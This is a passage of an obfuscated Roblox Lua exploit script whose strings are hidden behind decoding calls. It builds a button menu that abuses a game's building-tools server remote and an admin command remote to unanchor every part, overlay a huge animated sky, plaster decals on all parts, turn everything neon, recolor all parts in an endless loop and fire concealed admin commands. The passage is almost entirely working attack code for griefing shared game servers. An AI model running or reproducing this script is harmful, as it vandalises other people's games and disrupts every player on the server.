if item:IsA(_D(1713)) and item:FindFirstChild(_D(1714)) then
buildingTools = item
break
end
end
end
if buildingTools then
local syncAPI = buildingTools:FindFirstChild(_D(1715))
if syncAPI then
local serverEndpoint = syncAPI:FindFirstChild(_D(1716))
if serverEndpoint then
local args = {
[1] = _D(1717),
[2] = {
[1] = part
}
}
serverEndpoint:InvokeServer(unpack(args))
end
end
end
end
local function unanchorAllParts(workspaceObject)
for _, obj in pairs(workspaceObject:GetDescendants()) do
if obj:IsA(_D(1718)) or obj:IsA(_D(1719)) then
unanchor(obj)
end
end
end
unanchorAllParts(workspace)
end)
local UTSG = Instance.new(_D(1720))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.31, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1721)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == _D(1722) then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1723) then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
local RunService = game:GetService(_D(1724))
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf, parent)
local args = {
[1] = _D(1725),
[2] = _D(1726),
[3] = cf,
[4] = parent
}
_(args)
end
function SetAnchor(part, boolean)
local args = {
[1] = _D(1727),
[2] = {
[1] = {
[_D(1728)] = part,
[_D(1729)] = boolean
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1730),
[2] = {
[1] = {
[_D(1731)] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = _D(1732),
[2] = {
[1] = {
[_D(1733)] = part,
[_D(1734)] = _D(1735) .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1736),
[2] = {
[1] = {
[_D(1737)] = part,
[_D(1738)] = texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = _D(1739),
[2] = {
[1] = {
[_D(1740)] = part,
[_D(1741)] = size
}
}
}
_(args)
end
function SetTransparency(part, value)
local args = {
[1] = _D(1742),
[2] = {
[1] = {
[_D(1743)] = part,
[_D(1744)] = value
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1745),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1746),
[2] = {
[1] = part
}
}
_(args)
end
local images = {
_D(1747),
_D(1748),
_D(1749),
_D(1750),
_D(1751),
_D(1752),
_D(1753),
_D(1754)
}
local skyPart
local skyLoop
local frameTime = 1 / 10
local lastUpdate = 0
function CreateSky()
local hrp = char:FindFirstChild(_D(1755))
if not hrp then return end
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace)
for _, v in workspace:GetDescendants() do
if v:IsA(_D(1756)) and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
skyPart = v
SetAnchor(skyPart, true)
AddMesh(skyPart)
SetMesh(skyPart, _D(1757))
MeshResize(skyPart, Vector3.new(4000, 4000, 4000))
SetTransparency(skyPart, 1)
SetName(v,_D(1758))
local index = 1
skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
lastUpdate = lastUpdate + deltaTime
if lastUpdate >= frameTime then
lastUpdate = 0
if not skyPart then
print(_D(1759))
return
end
SetTransparency(skyPart, 0)
SetTexture(skyPart, images[index])
index = index % #images + 1
end
end)
end
end
end
function ResetSky()
if skyPart then
DestroyPart(skyPart)
skyPart = nil
end
if skyLoop then
skyLoop:Disconnect()
skyLoop = nil
end
CreateSky()
end
player.CharacterAdded:Connect(function(newChar)
char = newChar
ResetSky()
end)
if char and char:FindFirstChild(_D(1760)) then
char:WaitForChild(_D(1761)).Died:Connect(function()
ResetSky()
end)
end
CreateSky()
end)
local UTSG = Instance.new(_D(1762))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.31, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1763)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local function findBuildingTools()
local player = game:GetService(_D(1764)).LocalPlayer
for _, item in ipairs(player.Character:GetChildren()) do
if item:IsA(_D(1765)) and item:FindFirstChild(_D(1766)) then
return item
end
end
for _, item in ipairs(player.Backpack:GetChildren()) do
if item:IsA(_D(1767)) and item:FindFirstChild(_D(1768)) then
return item
end
end
return nil
end
local buildingTools = findBuildingTools()
if not buildingTools then
warn(_D(1769))
return
end
local syncAPI = buildingTools:FindFirstChild(_D(1770))
local serverEndpoint = syncAPI and syncAPI:FindFirstChild(_D(1771))
if not serverEndpoint then
warn(_D(1772))
return
end
local skyInstance = workspace:FindFirstChild(_D(1773))
if not skyInstance then
return
end
local args = {
_D(1774),
{ skyInstance }
}
local success, result
if serverEndpoint:IsA(_D(1775)) then
success, result = pcall(function()
return serverEndpoint:InvokeServer(unpack(args))
end)
else
serverEndpoint:FireServer(unpack(args))
success = true
end
if success then
else
end
end)
local UTSG = Instance.new(_D(1776))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.355, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1777)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1778) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1779) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1780),
[2] = {
[1] = {
[_D(1781)] = part,
[_D(1782)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1783),
[2] = {
[1] = {
[_D(1784)] = part,
[_D(1785)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1786),
[2] = _D(1787),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1788),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1789),
[2] = {
[1] = {
[_D(1790)] = part,
[_D(1791)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1792),
[2] = {
[1] = {
[_D(1793)] = part,
[_D(1794)] = cf,
[_D(1795)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1796),
[2] = {
[1] = {
[_D(1797)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1798),
[2] = {
[1] = {
[_D(1799)] = part,
[_D(1800)] = _D(1801)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1802),
[2] = {
[1] = {
[_D(1803)] = part,
[_D(1804)] = _D(1805)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1806),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1807),
[2] = {
[1] = {
[_D(1808)] = part,
[_D(1809)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1810),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1811),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1812),
[2] = {
[1] = {
[_D(1813)] = part,
[_D(1814)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1815),
[2] = {
[1] = {
[_D(1816)] = part,
[_D(1817)] = _D(1818)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1819),
[2] = {
[1] = {
[_D(1820)] = part,
[_D(1821)] = _D(1822),
[_D(1823)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1824),
[2] = {
[1] = {
[_D(1825)] = part,
[_D(1826)] = color --[[Color3]],
[_D(1827)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1828),
[2] = {
[1] = {
[_D(1829)] = part,
[_D(1830)] = side,
[_D(1831)] = _D(1832)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1833),
[2] = {
[1] = {
[_D(1834)] = part,
[_D(1835)] = side,
[_D(1836)] = _D(1837),
[_D(1838)] = _D(1839).. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(1840)) and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,_D(1841))
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,_D(1842))
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(4000, 4000, 4000))
SetLocked(v,true)
end
end
end
Sky(_D(1843))
end)
local UTSG = Instance.new(_D(1844))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.355, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(1845)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1846) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1847) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1848),
[2] = {
[1] = {
[_D(1849)] = part,
[_D(1850)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1851),
[2] = {
[1] = {
[_D(1852)] = part,
[_D(1853)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1854),
[2] = _D(1855),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1856),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1857),
[2] = {
[1] = {
[_D(1858)] = part,
[_D(1859)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1860),
[2] = {
[1] = {
[_D(1861)] = part,
[_D(1862)] = cf,
[_D(1863)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1864),
[2] = {
[1] = {
[_D(1865)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1866),
[2] = {
[1] = {
[_D(1867)] = part,
[_D(1868)] = _D(1869)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1870),
[2] = {
[1] = {
[_D(1871)] = part,
[_D(1872)] = _D(1873)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1874),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1875),
[2] = {
[1] = {
[_D(1876)] = part,
[_D(1877)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1878),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1879),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1880),
[2] = {
[1] = {
[_D(1881)] = part,
[_D(1882)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1883),
[2] = {
[1] = {
[_D(1884)] = part,
[_D(1885)] = _D(1886)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1887),
[2] = {
[1] = {
[_D(1888)] = part,
[_D(1889)] = _D(1890),
[_D(1891)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1892),
[2] = {
[1] = {
[_D(1893)] = part,
[_D(1894)] = color --[[Color3]],
[_D(1895)] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = _D(1896),
[2] = {
[1] = {
[_D(1897)] = part,
[_D(1898)] = side,
[_D(1899)] = _D(1900)
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = _D(1901),
[2] = {
[1] = {
[_D(1902)] = part,
[_D(1903)] = side,
[_D(1904)] = _D(1905),
[_D(1906)] = _D(1907).. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA(_D(1908)) then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam(_D(1909))
end)
local UTSG = Instance.new(_D(1910))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.355, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(1911)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1912) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1913) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1914),
[2] = {
[1] = {
[_D(1915)] = part,
[_D(1916)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1917),
[2] = {
[1] = {
[_D(1918)] = part,
[_D(1919)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1920),
[2] = _D(1921),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1922),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1923),
[2] = {
[1] = {
[_D(1924)] = part,
[_D(1925)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1926),
[2] = {
[1] = {
[_D(1927)] = part,
[_D(1928)] = cf,
[_D(1929)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1930),
[2] = {
[1] = {
[_D(1931)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1932),
[2] = {
[1] = {
[_D(1933)] = part,
[_D(1934)] = _D(1935)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1936),
[2] = {
[1] = {
[_D(1937)] = part,
[_D(1938)] = _D(1939)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1940),
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1941),
[2] = {
[1] = {
[_D(1942)] = part,
[_D(1943)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1944),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(1945),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(1946),
[2] = {
[1] = {
[_D(1947)] = part,
[_D(1948)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(1949),
[2] = {
[1] = {
[_D(1950)] = part,
[_D(1951)] = _D(1952)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(1953),
[2] = {
[1] = {
[_D(1954)] = part,
[_D(1955)] = _D(1956),
[_D(1957)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(1958),
[2] = {
[1] = {
[_D(1959)] = part,
[_D(1960)] = color --[[Color3]],
[_D(1961)] = false
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = _D(1962),
[2] = {
[1] = {
[_D(1963)] = part,
[_D(1964)] = mate
}
}
}
_(args)
end
for i,v in game.Workspace:GetDescendants() do
spawn(function()
Material(v,Enum.Material.Neon)
end)
end
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1965) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1966) then
tool = v.Parent
end
end
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == _D(1967) then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == _D(1968) then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = _D(1969),
[2] = {
[1] = {
[_D(1970)] = part,
[_D(1971)] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = _D(1972),
[2] = {
[1] = {
[_D(1973)] = part,
[_D(1974)] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = _D(1975),
[2] = _D(1976),
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = _D(1977),
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = _D(1978),
[2] = {
[1] = {
[_D(1979)] = part,
[_D(1980)] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = _D(1981),
[2] = {
[1] = {
[_D(1982)] = part,
[_D(1983)] = cf,
[_D(1984)] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = _D(1985),
[2] = {
[1] = {
[_D(1986)] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = _D(1987),
[2] = {
[1] = {
[_D(1988)] = part,
[_D(1989)] = _D(1990)..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = _D(1991),
[2] = {
[1] = {
[_D(1992)] = part,
[_D(1993)] = _D(1994)..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = _D(1995),
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = _D(1996),
[2] = {
[1] = {
[_D(1997)] = part,
[_D(1998)] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = _D(1999),
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = _D(2000),
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = _D(2001),
[2] = {
[1] = {
[_D(2002)] = part,
[_D(2003)] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = _D(2004),
[2] = {
[1] = {
[_D(2005)] = part,
[_D(2006)] = _D(2007)
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = _D(2008),
[2] = {
[1] = {
[_D(2009)] = part,
[_D(2010)] = _D(2011),
[_D(2012)] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = _D(2013),
[2] = {
[1] = {
[_D(2014)] = part,
[_D(2015)] = color --[[Color3]],
[_D(2016)] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA(_D(2017)) then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(1, 1, 1))
end)
end
end
end
while wait() do
spawn(function()
randomise()
end)
end
end)
local UTSG = Instance.new(_D(2018))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.355, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2019)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2020))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2021)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2022))
RequestCommand:InvokeServer(_D(2023))
RequestCommand:InvokeServer(_D(2024))
RequestCommand:InvokeServer(_D(2025))
RequestCommand:InvokeServer(_D(2026))
RequestCommand:InvokeServer(_D(2027))
RequestCommand:InvokeServer(_D(2028))
RequestCommand:InvokeServer(_D(2029))
RequestCommand:InvokeServer(_D(2030))
RequestCommand:InvokeServer(_D(2031))
RequestCommand:InvokeServer(_D(2032))
end)
local UTSG = Instance.new(_D(2033))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.355, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2034)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2035))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2036)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2037))
end)
local titleText = Instance.new(_D(2038))
titleText.Size = UDim2.new(0.1, 0, 0, 30)
titleText.Position = UDim2.new(0.45, 1, 0.47, 0)
titleText.BackgroundColor3 = Color3.new(0, 0, 0)
titleText.BorderSizePixel = 0
titleText.BorderColor3 = Color3.new(1, 0.4, 0)
titleText.Font = Enum.Font.SourceSansSemibold
titleText.Text = _D(2039)
titleText.TextColor3 = Color3.new(1, 1, 1)
titleText.TextSize = 39
titleText.BackgroundTransparency = 1
titleText.Parent = mainFrame
local scrollingFramez = Instance.new(_D(2040))
scrollingFramez.Size = UDim2.new(1, 0, 0.3, 0)
scrollingFramez.Position = UDim2.new(0, 0, 0.55, 0)
scrollingFramez.BackgroundColor3 = Color3.new(0.01, 0.01, 0.01)
scrollingFramez.BorderColor3 = Color3.new(1, 1, 1)
scrollingFramez.BorderSizePixel = 0.0001
scrollingFramez.ScrollBarThickness = 6.5
scrollingFramez.BackgroundTransparency = 1
scrollingFramez.Parent = mainFrame
local UTSG = Instance.new(_D(2041))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2042)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2043))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2044)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2045))
end)
local UTSG = Instance.new(_D(2046))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2047)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2048))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2049)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2050))
end)
local UTSG = Instance.new(_D(2051))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.40, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2052)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2053))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2054)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2055))
end)
local UTSG = Instance.new(_D(2056))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.597, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2057)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2058))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2059)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2060))
end)
local UTSG = Instance.new(_D(2061))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.793, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2062)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2063))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2064)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2065))
end)
local UTSG = Instance.new(_D(2066))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(2067)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(2068))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(2069)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(2070))
end)
local UTSG = Instance.new(_D(2071))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.202, 1, 0.045, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.TextScaled = true
UTSG.Text = _D(2072)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = scrollingFramez
UTSG.MouseButton1Click:Connect(function()
